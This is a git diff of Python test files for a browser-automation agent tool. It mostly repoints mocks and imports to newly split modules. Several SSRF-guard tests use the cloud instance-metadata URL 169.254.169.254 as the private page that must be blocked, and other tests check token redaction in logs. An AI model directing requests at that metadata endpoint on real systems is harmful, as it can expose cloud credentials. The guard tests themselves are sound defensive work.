"tools.browser_tool_install.node_tool_runnable", return_value=True ), patch( "subprocess.run" ) as run, patch( - "tools.browser_tool._chromium_installed", return_value=True + "tools.browser_tool_install._chromium_installed", return_value=True ), patch( "hermes_cli.tools_config_post_setup._print_success" ) as success: @@ -435,13 +435,13 @@ class TestAgentBrowserPostSetup: def test_docker_with_missing_chromium_warns_instead_of_installing(self): with patch("shutil.which", return_value="/usr/bin/npx"), patch( - "tools.browser_tool.node_tool_runnable", return_value=True + "tools.browser_tool_install.node_tool_runnable", return_value=True ), patch( "subprocess.run" ) as run, patch( - "tools.browser_tool._chromium_installed", return_value=False + "tools.browser_tool_install._chromium_installed", return_value=False ), patch( - "tools.browser_tool._running_in_docker", return_value=True + "tools.browser_tool_install._running_in_docker", return_value=True ), patch( "hermes_cli.tools_config_post_setup._print_warning" ) as warn: @@ -457,11 +457,11 @@ class TestAgentBrowserPostSetup: with patch("shutil.which", return_value="/usr/bin/npx"), patch( "subprocess.run" ) as run, patch( - "tools.browser_tool._chromium_installed" + "tools.browser_tool_install._chromium_installed" ) as chromium_check, patch( - "tools.browser_tool._running_in_docker" + "tools.browser_tool_install._running_in_docker" ) as docker_check, patch( - "tools.browser_tool._find_agent_browser", + "tools.browser_tool_install._find_agent_browser", side_effect=FileNotFoundError("agent-browser CLI not found"), ), patch( "hermes_cli.tools_config_post_setup._print_warning" @@ -483,13 +483,13 @@ class TestAgentBrowserPostSetup: # calls shutil.which with, not just the bare-PATH positional form. side_effect=lambda name, path=None: "/usr/bin/npx" if name == "npx" else None, ), patch( - "tools.browser_tool.node_tool_runnable", return_value=True + "tools.browser_tool_install.node_tool_runnable", return_value=True ), patch("subprocess.run") as run, patch( - "tools.browser_tool._chromium_installed", return_value=False + "tools.browser_tool_install._chromium_installed", return_value=False ), patch( - "tools.browser_tool._running_in_docker", return_value=False + "tools.browser_tool_install._running_in_docker", return_value=False ), patch( - "tools.browser_tool._find_agent_browser", return_value="npx agent-browser" + "tools.browser_tool_install._find_agent_browser", return_value="npx agent-browser" ), patch( "hermes_cli.tools_config_post_setup._print_success" ): @@ -511,13 +511,13 @@ class TestAgentBrowserPostSetup: with patch("shutil.which", return_value=None), patch( "subprocess.run" ) as run, patch( - "tools.browser_tool._chromium_installed", return_value=False + "tools.browser_tool_install._chromium_installed", return_value=False ), patch( - "tools.browser_tool._running_in_docker", return_value=False + "tools.browser_tool_install._running_in_docker", return_value=False ), patch( - "tools.browser_tool._find_agent_browser", return_value="npx agent-browser" + "tools.browser_tool_install._find_agent_browser", return_value="npx agent-browser" ), patch( - "tools.browser_tool._resolve_npx_bin", return_value=hermes_npx + "tools.browser_tool_install._resolve_npx_bin", return_value=hermes_npx ), patch( "hermes_cli.tools_config_post_setup._print_success" ): @@ -537,13 +537,13 @@ class TestAgentBrowserPostSetup: with patch("shutil.which", return_value=None), patch( "subprocess.run" ) as run, patch( - "tools.browser_tool._chromium_installed", return_value=False + "tools.browser_tool_install._chromium_installed", return_value=False ), patch( - "tools.browser_tool._running_in_docker", return_value=False + "tools.browser_tool_install._running_in_docker", return_value=False ), patch( - "tools.browser_tool._find_agent_browser", return_value="npx agent-browser" + "tools.browser_tool_install._find_agent_browser", return_value="npx agent-browser" ), patch( - "tools.browser_tool._resolve_npx_bin", return_value=None + "tools.browser_tool_install._resolve_npx_bin", return_value=None ), patch( "hermes_cli.tools_config_post_setup._print_warning" ) as warn: @@ -559,11 +559,11 @@ class TestAgentBrowserPostSetup: with patch("shutil.which", return_value="/usr/bin/npx"), patch( "subprocess.run" ) as run, patch( - "tools.browser_tool._chromium_installed", return_value=False + "tools.browser_tool_install._chromium_installed", return_value=False ), patch( - "tools.browser_tool._running_in_docker", return_value=False + "tools.browser_tool_install._running_in_docker", return_value=False ), patch( - "tools.browser_tool._find_agent_browser", + "tools.browser_tool_install._find_agent_browser", return_value="/usr/local/bin/agent-browser", ), patch( "hermes_cli.tools_config_post_setup._print_success" @@ -580,16 +580,16 @@ class TestAgentBrowserPostSetup: import tools.browser_tool as _bt with patch("shutil.which", return_value="/usr/bin/npx"), patch( - "tools.browser_tool.node_tool_runnable", return_value=True + "tools.browser_tool_install.node_tool_runnable", return_value=True ), patch( "subprocess.run", return_value=SimpleNamespace(returncode=0, stdout="", stderr=""), ), patch( - "tools.browser_tool._chromium_installed", return_value=False + "tools.browser_tool_install._chromium_installed", return_value=False ), patch( - "tools.browser_tool._running_in_docker", return_value=False + "tools.browser_tool_install._running_in_docker", return_value=False ), patch( - "tools.browser_tool._find_agent_browser", return_value="npx agent-browser" + "tools.browser_tool_install._find_agent_browser", return_value="npx agent-browser" ), patch( "hermes_cli.tools_config_post_setup._print_success" ): @@ -605,18 +605,18 @@ class TestAgentBrowserPostSetup: import tools.browser_tool as _bt with patch("shutil.which", return_value="/usr/bin/npx"), patch( - "tools.browser_tool.node_tool_runnable", return_value=True + "tools.browser_tool_install.node_tool_runnable", return_value=True ), patch( "subprocess.run", return_value=SimpleNamespace( returncode=1, stdout="", stderr="line1\nline2\nfatal: network error" ), ), patch( - "tools.browser_tool._chromium_installed", return_value=False + "tools.browser_tool_install._chromium_installed", return_value=False ), patch( - "tools.browser_tool._running_in_docker", return_value=False + "tools.browser_tool_install._running_in_docker", return_value=False ), patch( - "tools.browser_tool._find_agent_browser", return_value="npx agent-browser" + "tools.browser_tool_install._find_agent_browser", return_value="npx agent-browser" ), patch( "hermes_cli.tools_config_post_setup._print_warning" ) as warn, patch( @@ -633,16 +633,16 @@ class TestAgentBrowserPostSetup: def test_install_timeout_warns_without_raising(self): with patch("shutil.which", return_value="/usr/bin/npx"), patch( - "tools.browser_tool.node_tool_runnable", return_value=True + "tools.browser_tool_install.node_tool_runnable", return_value=True ), patch( "subprocess.run", side_effect=subprocess.TimeoutExpired(cmd=["npx"], timeout=600), ), patch( - "tools.browser_tool._chromium_installed", return_value=False + "tools.browser_tool_install._chromium_installed", return_value=False ), patch( - "tools.browser_tool._running_in_docker", return_value=False + "tools.browser_tool_install._running_in_docker", return_value=False ), patch( - "tools.browser_tool._find_agent_browser", return_value="npx agent-browser" + "tools.browser_tool_install._find_agent_browser", return_value="npx agent-browser" ), patch( "hermes_cli.tools_config_post_setup._print_warning" ) as warn: diff --git a/tests/plugins/browser/check_parity_vs_main.py b/tests/plugins/browser/check_parity_vs_main.py index e0ee6fcffd..1ef61df180 100644 --- a/tests/plugins/browser/check_parity_vs_main.py +++ b/tests/plugins/browser/check_parity_vs_main.py @@ -4,7 +4,7 @@ Spawns one subprocess per (version, scenario) cell — pinned to either origin/main (legacy in-tree providers + class-instantiation lookup) or this PR's worktree (plugin-based registry) via `sys.path[0]`. Each subprocess clears all browser-related env vars + writes a config.yaml, -loads `tools.browser_tool._get_cloud_provider()`, and emits a reduced +loads `tools.browser_tool_cloud._get_cloud_provider()`, and emits a reduced "shape tuple" {is_local, provider_name, is_available} as JSON. The parent process diffs the shapes per scenario. A diff means the @@ -74,7 +74,7 @@ for name in list(sys.modules): if name.startswith("tools.") or name.startswith("agent.") or name.startswith("plugins."): sys.modules.pop(name, None) -from tools.browser_tool import _get_cloud_provider, _is_local_mode +from tools.browser_tool_cloud import _get_cloud_provider, _is_local_mode provider = _get_cloud_provider() diff --git a/tests/test_windows_subprocess_no_window_flags.py b/tests/test_windows_subprocess_no_window_flags.py index cc12745284..f6ea2c9bde 100644 --- a/tests/test_windows_subprocess_no_window_flags.py +++ b/tests/test_windows_subprocess_no_window_flags.py @@ -198,7 +198,7 @@ def test_agent_browser_npx_warmup_hides_npx_window(monkeypatch): _kill_process_tree's taskkill /T to have a coherent tree to kill), so this checks the CREATE_NO_WINDOW bit is present rather than exact equality with the whole creationflags value.""" - from tools import browser_tool + from tools import browser_tool_install captured = [] @@ -211,14 +211,14 @@ def test_agent_browser_npx_warmup_hides_npx_window(monkeypatch): return ("1.2.3\n", "") monkeypatch.setattr( - browser_tool.shutil, "which", + browser_tool_install.shutil, "which", lambda name, path=None: "/usr/bin/npx", ) - monkeypatch.setattr(browser_tool, "node_tool_runnable", lambda p: True) - monkeypatch.setattr(browser_tool, "windows_hide_flags", lambda: _CREATE_NO_WINDOW) - monkeypatch.setattr(browser_tool.subprocess, "Popen", _FakePopen) + monkeypatch.setattr("tools.browser_tool_install.node_tool_runnable", lambda p: True) + monkeypatch.setattr("tools.browser_tool_install.windows_hide_flags", lambda: _CREATE_NO_WINDOW) + monkeypatch.setattr(browser_tool_install.subprocess, "Popen", _FakePopen) - assert browser_tool.warm_agent_browser_npx_cache() is True + assert browser_tool_install.warm_agent_browser_npx_cache() is True assert captured[0][0][0] == "/usr/bin/npx" assert captured[0][1]["creationflags"] & _CREATE_NO_WINDOW == _CREATE_NO_WINDOW diff --git a/tests/tools/test_browser_camofox.py b/tests/tools/test_browser_camofox.py index 88a28a264f..63aac3df83 100644 --- a/tests/tools/test_browser_camofox.py +++ b/tests/tools/test_browser_camofox.py @@ -358,7 +358,7 @@ class TestBrowserToolRouting: def test_check_requirements_passes_with_camofox(self, monkeypatch): monkeypatch.setenv("CAMOFOX_URL", "http://localhost:9377") - from tools.browser_tool import check_browser_requirements + from tools.browser_tool_install import check_browser_requirements assert check_browser_requirements() is True diff --git a/tests/tools/test_browser_camofox_private_page_guard.py b/tests/tools/test_browser_camofox_private_page_guard.py index eae08077df..a7d388c37c 100644 --- a/tests/tools/test_browser_camofox_private_page_guard.py +++ b/tests/tools/test_browser_camofox_private_page_guard.py @@ -13,6 +13,7 @@ import json import pytest from tools import browser_camofox +from tools import browser_tool_eval_policy as bt_eval_policy PRIVATE_URL = "http://169.254.169.254/latest/meta-data/" @@ -29,9 +30,9 @@ def _block_active(monkeypatch): """Make the SSRF guard active and the current page resolve to a private URL.""" from tools import browser_tool - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda task_id: True) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda task_id: True) monkeypatch.setattr( - browser_tool, "_camofox_current_page_private_url", lambda tab_id, user_id: PRIVATE_URL + bt_eval_policy, "_camofox_current_page_private_url", lambda tab_id, user_id: PRIVATE_URL ) @@ -39,20 +40,20 @@ def _block_inactive_guard(monkeypatch): """SSRF guard inactive (local backend / allow_private_urls).""" from tools import browser_tool - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda task_id: False) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda task_id: False) def fail_probe(tab_id, user_id): raise AssertionError("must not probe page URL when the SSRF guard is inactive") - monkeypatch.setattr(browser_tool, "_camofox_current_page_private_url", fail_probe) + monkeypatch.setattr(bt_eval_policy, "_camofox_current_page_private_url", fail_probe) def _public_page(monkeypatch): from tools import browser_tool - monkeypatch.setattr(browser_tool, "_eval_ssrf_guard_active", lambda task_id: True) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda task_id: True) monkeypatch.setattr( - browser_tool, "_camofox_current_page_private_url", lambda tab_id, user_id: None + bt_eval_policy, "_camofox_current_page_private_url", lambda tab_id, user_id: None ) diff --git a/tests/tools/test_browser_cdp_override.py b/tests/tools/test_browser_cdp_override.py index 630d0b9ab2..b6e4fb08a3 100644 --- a/tests/tools/test_browser_cdp_override.py +++ b/tests/tools/test_browser_cdp_override.py @@ -1,4 +1,7 @@ from unittest.mock import Mock, patch +from tools import browser_tool_cloud as bt_cloud +from tools import browser_tool_cdp as bt_cdp +from tools import browser_tool_session as bt_session HOST = "example-host" @@ -10,13 +13,13 @@ VERSION_URL = f"{HTTP_URL}/json/version" class TestResolveCdpOverride: def test_keeps_full_devtools_websocket_url(self): - from tools.browser_tool import _resolve_cdp_override + from tools.browser_tool_cdp import _resolve_cdp_override assert _resolve_cdp_override(WS_URL) == WS_URL def test_redacts_secret_query_params_in_success_log(self): - from tools.browser_tool import _resolve_cdp_override + from tools.browser_tool_cdp import _resolve_cdp_override raw = "https://cdp.example/json/version?access_token=super-secret-token-123456" resolved_ws = "wss://cdp.example/devtools/browser/abc?token=super-secret-token-123456" @@ -25,7 +28,7 @@ class TestResolveCdpOverride: response.raise_for_status.return_value = None response.json.return_value = {"webSocketDebuggerUrl": resolved_ws} - with patch("tools.browser_tool.requests.get", return_value=response), \ + with patch("requests.get", return_value=response), \ patch("tools.browser_tool.logger.info") as mock_info: resolved = _resolve_cdp_override(raw) @@ -38,14 +41,14 @@ class TestResolveCdpOverride: assert "token=***" in logged_ws def test_redacts_secret_query_params_in_failure_log(self): - from tools.browser_tool import _resolve_cdp_override + from tools.browser_tool_cdp import _resolve_cdp_override raw = "https://cdp.example?access_token=super-secret-token-123456" secret_error = RuntimeError( "upstream rejected https://cdp.example/json/version?access_token=super-secret-token-123456" ) - with patch("tools.browser_tool.requests.get", side_effect=secret_error), \ + with patch("requests.get", side_effect=secret_error), \ patch("tools.browser_tool.logger.warning") as mock_warning: resolved = _resolve_cdp_override(raw) @@ -77,13 +80,13 @@ class TestResolveCdpOverride: monkeypatch.setattr(browser_tool, "_active_sessions", {}) monkeypatch.setattr(browser_tool, "_session_last_activity", {}) - monkeypatch.setattr(browser_tool, "_start_browser_cleanup_thread", lambda: None) - monkeypatch.setattr(browser_tool, "_update_session_activity", lambda task_id: None) - monkeypatch.setattr(browser_tool, "_get_cdp_override", lambda: "") - monkeypatch.setattr(browser_tool, "_get_cloud_provider", lambda: provider) + monkeypatch.setattr("tools.browser_tool_lifecycle._start_browser_cleanup_thread", lambda: None) + monkeypatch.setattr("tools.browser_tool_lifecycle._update_session_activity", lambda task_id: None) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: provider) - with patch("tools.browser_tool.requests.get", return_value=response) as mock_get: - session_info = browser_tool._get_session_info("task-browser-use") + with patch("requests.get", return_value=response) as mock_get: + session_info = bt_session._get_session_info("task-browser-use") assert session_info["cdp_url"] == WS_URL provider.create_session.assert_called_once_with("task-browser-use") @@ -109,14 +112,13 @@ class TestGetCdpOverride: response.raise_for_status.return_value = None response.json.return_value = {"webSocketDebuggerUrl": WS_URL} - with patch("tools.browser_tool.requests.get", return_value=response) as mock_get: - resolved = browser_tool._get_cdp_override() + with patch("requests.get", return_value=response) as mock_get: + resolved = bt_cdp._get_cdp_override() assert resolved == WS_URL mock_get.assert_called_once_with(VERSION_URL, timeout=10) def test_uses_config_browser_cdp_url_when_env_missing(self, monkeypatch): - import tools.browser_tool as browser_tool monkeypatch.delenv("BROWSER_CDP_URL", raising=False) @@ -125,8 +127,8 @@ class TestGetCdpOverride: response.json.return_value = {"webSocketDebuggerUrl": WS_URL} with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"cdp_url": HTTP_URL}}), \ - patch("tools.browser_tool.requests.get", return_value=response) as mock_get: - resolved = browser_tool._get_cdp_override() + patch("requests.get", return_value=response) as mock_get: + resolved = bt_cdp._get_cdp_override() assert resolved == WS_URL mock_get.assert_called_once_with(VERSION_URL, timeout=10) @@ -167,7 +169,7 @@ class TestCreateCdpSession: """ def test_redacts_token_in_session_creation_log(self): - from tools.browser_tool import _create_cdp_session + from tools.browser_tool_session import _create_cdp_session cdp_url_with_token = "wss://cdp.example/devtools/browser/abc?token=super-secret-token-999" @@ -182,7 +184,7 @@ class TestCreateCdpSession: assert "token=***" in logged_args def test_plain_url_without_secrets_passes_through(self): - from tools.browser_tool import _create_cdp_session + from tools.browser_tool_session import _create_cdp_session plain_url = "ws://localhost:9222/devtools/browser/abc123" diff --git a/tests/tools/test_browser_cdp_tool.py b/tests/tools/test_browser_cdp_tool.py index 81ca2b26d4..fed1b9c6f5 100644 --- a/tests/tools/test_browser_cdp_tool.py +++ b/tests/tools/test_browser_cdp_tool.py @@ -18,6 +18,10 @@ import websockets from websockets.asyncio.server import serve from tools import browser_cdp_tool +import requests +from tools import browser_tool_eval_policy as bt_eval_policy +from tools import browser_tool_install as bt_install +from tools import browser_tool_cdp as bt_cdp # --------------------------------------------------------------------------- @@ -480,10 +484,9 @@ def test_runtime_evaluate_blocked_when_current_page_is_private(monkeypatch): lambda: "ws://127.0.0.1:9222/devtools/browser/mock", ) - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_eval_ssrf_guard_active", lambda task_id: True) - monkeypatch.setattr(bt, "_current_page_private_url", lambda task_id: PRIVATE_URL) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda task_id: True) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", lambda task_id: PRIVATE_URL) async def fake_call(*args, **kwargs): calls.append((args, kwargs)) @@ -510,10 +513,9 @@ def test_frame_id_route_blocked_when_current_page_is_private(monkeypatch): applied to the stateless path — same private-page boundary either way.""" supervisor_calls = [] - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_eval_ssrf_guard_active", lambda task_id: True) - monkeypatch.setattr(bt, "_current_page_private_url", lambda task_id: PRIVATE_URL) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda task_id: True) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", lambda task_id: PRIVATE_URL) def fake_supervisor_route(**kwargs): supervisor_calls.append(kwargs) @@ -543,10 +545,9 @@ def test_frame_id_route_allowed_when_page_is_not_private(monkeypatch): routing when the current page isn't private.""" supervisor_calls = [] - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_eval_ssrf_guard_active", lambda task_id: True) - monkeypatch.setattr(bt, "_current_page_private_url", lambda task_id: None) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda task_id: True) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", lambda task_id: None) def fake_supervisor_route(**kwargs): supervisor_calls.append(kwargs) @@ -578,9 +579,8 @@ def test_page_navigate_to_private_url_blocked_before_cdp(monkeypatch): lambda: "ws://127.0.0.1:9222/devtools/browser/mock", ) - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_eval_ssrf_guard_active", lambda task_id: True) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda task_id: True) async def fake_call(*args, **kwargs): calls.append((args, kwargs)) @@ -604,14 +604,13 @@ def test_page_navigate_to_private_url_blocked_before_cdp(monkeypatch): def test_private_guard_inactive_does_not_probe(monkeypatch, cdp_server): cdp_server.on("Runtime.evaluate", lambda params, sid: {"result": {"value": "ok"}}) - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_eval_ssrf_guard_active", lambda task_id: False) + monkeypatch.setattr(bt_eval_policy, "_eval_ssrf_guard_active", lambda task_id: False) def fail_probe(task_id): raise AssertionError("_current_page_private_url must not be probed") - monkeypatch.setattr(bt, "_current_page_private_url", fail_probe) + monkeypatch.setattr(bt_eval_policy, "_current_page_private_url", fail_probe) result = json.loads( browser_cdp_tool.browser_cdp( @@ -634,13 +633,12 @@ def test_check_fn_does_not_probe_network(monkeypatch): """The availability gate must never hit the network: a stale/unreachable configured endpoint used to cost multiple blocking HTTP probes at every CLI/Desktop startup (tool-schema assembly), stalling launch by 10+ s.""" - import tools.browser_tool as bt def _boom(*a, **k): # pragma: no cover — the assertion is that it's unused raise AssertionError("check_fn must not perform network I/O") - monkeypatch.setattr(bt, "check_browser_requirements", lambda: True) - monkeypatch.setattr(bt.requests, "get", _boom) + monkeypatch.setattr(bt_install, "check_browser_requirements", lambda: True) + monkeypatch.setattr(requests, "get", _boom) monkeypatch.setenv("BROWSER_CDP_URL", "http://127.0.0.1:9222") assert browser_cdp_tool._browser_cdp_check() is True @@ -650,8 +648,8 @@ def test_check_fn_false_when_browser_requirements_fail(monkeypatch): unavailable (e.g. agent-browser not installed).""" import tools.browser_tool as bt - monkeypatch.setattr(bt, "check_browser_requirements", lambda: False) + monkeypatch.setattr(bt_install, "check_browser_requirements", lambda: False) monkeypatch.setattr( - bt, "_get_cdp_override_raw", lambda: "ws://localhost:9222/devtools/browser/x" + bt_cdp, "_get_cdp_override_raw", lambda: "ws://localhost:9222/devtools/browser/x" ) assert browser_cdp_tool._browser_cdp_check() is False diff --git a/tests/tools/test_browser_chromium_autoinstall.py b/tests/tools/test_browser_chromium_autoinstall.py index 0c60f6ecd0..6184f56778 100644 --- a/tests/tools/test_browser_chromium_autoinstall.py +++ b/tests/tools/test_browser_chromium_autoinstall.py @@ -1,10 +1,12 @@ """Tests for gated Chromium-binary auto-install on local cold start.""" +import shutil from types import SimpleNamespace import pytest import tools.browser_tool as bt +from tools import browser_tool_install as bt_install @pytest.fixture(autouse=True) @@ -24,26 +26,26 @@ def _no_subprocess(monkeypatch): class TestGating: def test_disabled_lazy_installs_skips(self, monkeypatch): - monkeypatch.setattr(bt, "_running_in_docker", lambda: False) + monkeypatch.setattr("tools.browser_tool_install._running_in_docker", lambda: False) monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: False) calls = _no_subprocess(monkeypatch) - assert bt._maybe_autoinstall_chromium() is False + assert bt_install._maybe_autoinstall_chromium() is False assert calls == [] def test_docker_skips(self, monkeypatch): - monkeypatch.setattr(bt, "_running_in_docker", lambda: True) + monkeypatch.setattr("tools.browser_tool_install._running_in_docker", lambda: True) calls = _no_subprocess(monkeypatch) - assert bt._maybe_autoinstall_chromium() is False + assert bt_install._maybe_autoinstall_chromium() is False assert calls == [] class TestInstall: def test_success_installs_binary_only_and_rechecks(self, monkeypatch): - monkeypatch.setattr(bt, "_running_in_docker", lambda: False) + monkeypatch.setattr("tools.browser_tool_install._running_in_docker", lambda: False) monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: True) - monkeypatch.setattr(bt, "_find_agent_browser", lambda: "/x/agent-browser") + monkeypatch.setattr(bt_install, "_find_agent_browser", lambda: "/x/agent-browser") monkeypatch.setattr(bt, "_build_browser_env", lambda: {}) - monkeypatch.setattr(bt, "_chromium_installed", lambda: True) + monkeypatch.setattr("tools.browser_tool_install._chromium_installed", lambda: True) captured = {} @@ -53,18 +55,18 @@ class TestInstall: monkeypatch.setattr(bt.subprocess, "run", fake_run) - assert bt._maybe_autoinstall_chromium() is True + assert bt_install._maybe_autoinstall_chromium() is True assert captured["cmd"] == ["/x/agent-browser", "install"] assert "--with-deps" not in captured["cmd"] def test_npx_form_is_binary_only(self, monkeypatch): - monkeypatch.setattr(bt, "_running_in_docker", lambda: False) + monkeypatch.setattr("tools.browser_tool_install._running_in_docker", lambda: False) monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: True) - monkeypatch.setattr(bt, "_find_agent_browser", lambda: "npx agent-browser") + monkeypatch.setattr(bt_install, "_find_agent_browser", lambda: "npx agent-browser") monkeypatch.setattr(bt, "_build_browser_env", lambda: {}) - monkeypatch.setattr(bt, "_chromium_installed", lambda: True) - monkeypatch.setattr(bt.shutil, "which", lambda _, path=None: "/usr/bin/npx") - monkeypatch.setattr(bt, "node_tool_runnable", lambda p: True) + monkeypatch.setattr("tools.browser_tool_install._chromium_installed", lambda: True) + monkeypatch.setattr(shutil, "which", lambda _, path=None: "/usr/bin/npx") + monkeypatch.setattr("tools.browser_tool_install.node_tool_runnable", lambda p: True) captured = {} monkeypatch.setattr( @@ -72,31 +74,31 @@ class TestInstall: lambda cmd, **kw: captured.update(cmd=cmd) or SimpleNamespace(returncode=0, stdout="", stderr=""), ) - assert bt._maybe_autoinstall_chromium() is True + assert bt_install._maybe_autoinstall_chromium() is True assert captured["cmd"] == [ "/usr/bin/npx", "--ignore-scripts", "-y", bt.AGENT_BROWSER_NPX_SPEC, "install", ] assert "--with-deps" not in captured["cmd"] def test_nonzero_exit_returns_false(self, monkeypatch): - monkeypatch.setattr(bt, "_running_in_docker", lambda: False) + monkeypatch.setattr("tools.browser_tool_install._running_in_docker", lambda: False) monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: True) - monkeypatch.setattr(bt, "_find_agent_browser", lambda: "/x/agent-browser") + monkeypatch.setattr(bt_install, "_find_agent_browser", lambda: "/x/agent-browser") monkeypatch.setattr(bt, "_build_browser_env", lambda: {}) monkeypatch.setattr( bt.subprocess, "run", lambda *a, **k: SimpleNamespace(returncode=1, stdout="", stderr="boom"), ) - assert bt._maybe_autoinstall_chromium() is False + assert bt_install._maybe_autoinstall_chromium() is False class TestOneShot: def test_second_call_does_not_reinstall(self, monkeypatch): - monkeypatch.setattr(bt, "_running_in_docker", lambda: False) + monkeypatch.setattr("tools.browser_tool_install._running_in_docker", lambda: False) monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: True) - monkeypatch.setattr(bt, "_find_agent_browser", lambda: "/x/agent-browser") + monkeypatch.setattr(bt_install, "_find_agent_browser", lambda: "/x/agent-browser") monkeypatch.setattr(bt, "_build_browser_env", lambda: {}) - monkeypatch.setattr(bt, "_chromium_installed", lambda: True) + monkeypatch.setattr("tools.browser_tool_install._chromium_installed", lambda: True) runs = [] monkeypatch.setattr( @@ -104,6 +106,6 @@ class TestOneShot: lambda *a, **k: runs.append(1) or SimpleNamespace(returncode=0, stdout="", stderr=""), ) - assert bt._maybe_autoinstall_chromium() is True - assert bt._maybe_autoinstall_chromium() is True + assert bt_install._maybe_autoinstall_chromium() is True + assert bt_install._maybe_autoinstall_chromium() is True assert len(runs) == 1 diff --git a/tests/tools/test_browser_chromium_check.py b/tests/tools/test_browser_chromium_check.py index 1aad65e775..22bc7eb61d 100644 --- a/tests/tools/test_browser_chromium_check.py +++ b/tests/tools/test_browser_chromium_check.py @@ -7,10 +7,13 @@ for the full command timeout before surfacing a useless error. """ import os +import shutil import pytest from tools import browser_tool as bt +from tools import browser_tool_install as bt_install +from tools import browser_tool_cloud as bt_cloud @pytest.fixture(autouse=True) @@ -23,13 +26,13 @@ def _reset_chromium_cache(): class TestChromiumSearchRoots: def test_respects_playwright_browsers_path_env(self, monkeypatch, tmp_path): monkeypatch.setenv("PLAYWRIGHT_BROWSERS_PATH", str(tmp_path)) - roots = bt._chromium_search_roots() + roots = bt_install._chromium_search_roots() assert str(tmp_path) == roots[0] def test_always_includes_default_ms_playwright_cache(self, monkeypatch): monkeypatch.delenv("PLAYWRIGHT_BROWSERS_PATH", raising=False) - roots = bt._chromium_search_roots() + roots = bt_install._chromium_search_roots() home = os.path.expanduser("~") assert any(r == os.path.join(home, ".cache", "ms-playwright") for r in roots) @@ -38,34 +41,34 @@ class TestChromiumInstalled: def test_true_when_plain_chromium_on_path(self, monkeypatch): monkeypatch.delenv("AGENT_BROWSER_EXECUTABLE_PATH", raising=False) monkeypatch.setattr( - bt.shutil, + shutil, "which", lambda name, path=None: "/usr/bin/chromium" if name == "chromium" else None, ) - assert bt._chromium_installed() is True + assert bt_install._chromium_installed() is True def test_result_cached(self, monkeypatch, tmp_path): monkeypatch.setenv("PLAYWRIGHT_BROWSERS_PATH", str(tmp_path)) (tmp_path / "chromium-1208").mkdir() - assert bt._chromium_installed() is True + assert bt_install._chromium_installed() is True # Delete after first call — cached True should still return True. (tmp_path / "chromium-1208").rmdir() - assert bt._chromium_installed() is True + assert bt_install._chromium_installed() is True class TestCheckBrowserRequirementsChromium: def test_local_mode_with_chromium_returns_true(self, monkeypatch, tmp_path): monkeypatch.setattr(bt, "_is_camofox_mode", lambda: False) - monkeypatch.setattr(bt, "_find_agent_browser", lambda **_kw: "/usr/local/bin/agent-browser") - monkeypatch.setattr(bt, "_requires_real_termux_browser_install", lambda _: False) - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: None) + monkeypatch.setattr(bt_install, "_find_agent_browser", lambda **_kw: "/usr/local/bin/agent-browser") + monkeypatch.setattr("tools.browser_tool_install._requires_real_termux_browser_install", lambda _: False) + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: None) monkeypatch.setenv("PLAYWRIGHT_BROWSERS_PATH", str(tmp_path)) (tmp_path / "chromium-1208").mkdir() - assert bt.check_browser_requirements() is True + assert bt_install.check_browser_requirements() is True def test_camofox_mode_does_not_require_chromium(self, monkeypatch, tmp_path): @@ -74,7 +77,7 @@ class TestCheckBrowserRequirementsChromium: monkeypatch.setenv("PLAYWRIGHT_BROWSERS_PATH", str(tmp_path)) monkeypatch.setattr("os.path.expanduser", lambda p: str(tmp_path / "fakehome")) - assert bt.check_browser_requirements() is True + assert bt_install.check_browser_requirements() is True class TestRunBrowserCommandChromiumGuard: diff --git a/tests/tools/test_browser_cleanup.py b/tests/tools/test_browser_cleanup.py index b1f89b3c84..ddd168a77b 100644 --- a/tests/tools/test_browser_cleanup.py +++ b/tests/tools/test_browser_cleanup.py @@ -1,11 +1,12 @@ """Regression tests for browser session cleanup and screenshot recovery.""" from unittest.mock import patch +from tools import browser_tool_lifecycle as bt_lifecycle class TestScreenshotPathRecovery: def test_extracts_standard_absolute_path(self): - from tools.browser_tool import _extract_screenshot_path_from_text + from tools.browser_tool_snapshot import _extract_screenshot_path_from_text assert ( _extract_screenshot_path_from_text("Screenshot saved to /tmp/foo.png") @@ -13,7 +14,7 @@ class TestScreenshotPathRecovery: ) def test_extracts_quoted_absolute_path(self): - from tools.browser_tool import _extract_screenshot_path_from_text + from tools.browser_tool_snapshot import _extract_screenshot_path_from_text assert ( _extract_screenshot_path_from_text( @@ -53,12 +54,12 @@ class TestBrowserCleanup: with ( patch("tools.browser_tool._maybe_stop_recording") as mock_stop, patch( - "tools.browser_tool._run_browser_command", + "tools.browser_tool_session._run_browser_command", return_value={"success": True}, ) as mock_run, patch("tools.browser_tool.os.path.exists", return_value=False), ): - browser_tool.cleanup_browser("task-1") + bt_lifecycle.cleanup_browser("task-1") assert "task-1" not in browser_tool._active_sessions assert "task-1" not in browser_tool._session_last_activity @@ -75,8 +76,8 @@ class TestBrowserCleanup: browser_tool._session_last_activity["task-2"] = 2.0 browser_tool._recording_sessions.update({"task-1", "task-2"}) - with 